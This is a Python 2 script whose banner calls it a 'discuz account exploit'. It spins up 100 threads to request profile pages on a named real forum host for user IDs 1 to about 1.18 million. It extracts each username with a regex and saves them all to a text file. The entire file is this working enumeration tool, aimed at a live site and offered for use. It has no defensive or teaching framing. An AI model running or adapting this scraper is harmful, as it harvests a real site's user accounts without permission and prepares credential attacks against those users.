#===============================================================================
# Id :phpdisk.y
# Author:Yaseng
#===============================================================================
import   sys, urllib2, time, os , Queue, msvcrt, threading,re,base64,md5,hashlib,binascii,cookielib
 
 

 
def dzlogo():
    print '''
  ___  ___  ____  ____  ____  __      __   _  _ 
 / __)/ _ \(  _ \( ___)(  _ \(  )    /__\ ( \/ )
( (__( (_) ))(_) ))__)  )___/ )(__  /(__)\ \  / 
 \___)\___/(____/(____)(__)  (____)(__)(__)(__) 
 Name:discuz  account exploit
 Author:Yaseng [yaseng@uauc.net]
 Usage:dz.py  site[www.yaseng.me]   id[1]
''' 
# show message
def msg(text, type=0):
    if type == 0: 
       str_def = "[*]" 
    elif  type == 1: 
       str_def = "[+]"
    else:
       str_def = "[-]";
    print str_def + text;

class ThreadGetKey(threading.Thread):
    def run(self):
        try:           
            chr = msvcrt.getch()
            if chr == 'q':
                print "stopped by your action ( q )"
                os._exit(1)
        except:
            os._exit(1)  

# get url data     
def get_data(url):
    try:
      r = urllib2.urlopen(url, timeout=10)
      return r.read()
    except :
     return 0    
 
 
 # readfile to array
def file_to_arr(file):
    arr=[]
    f = open(file)
    for line in f:
      arr.append(line.strip())
    return arr    

def  get_user(id):
     udata=get_data('http://home.rapidbbs.cn/home.php?uid=%d' % id)
     url_re = re.compile('home.php\?mod=space&amp;uid=%d">(.*)</a>' % id)
     try:
       rq=url_re.findall(udata)  #match
       return rq[1]
     except :
       return 'no--'

class Scaner(threading.Thread):
    def __init__(self):
      threading.Thread.__init__(self)
    def run(self):
        while 1:
         if id_queue.empty() == True:
             break
         uid=id_queue.get()
         username=get_user(uid)
         if username !='no--' :
             msg("%d:%s" % (uid,username),1)
             fuserlist.write(username+"\n")

if __name__ == '__main__':
     dzlogo()
     #print get_user(3)
     #exit()
     global id_queue
     id_queue = Queue.Queue()
     for id in map(int,range(1,1181565)):
        id_queue.put(id)
     fuserlist = open("userlist.txt",'a')
     for i in range(100):
        Scaner().start() 
     
     
     
   
   
   
   
   
   
   
   
   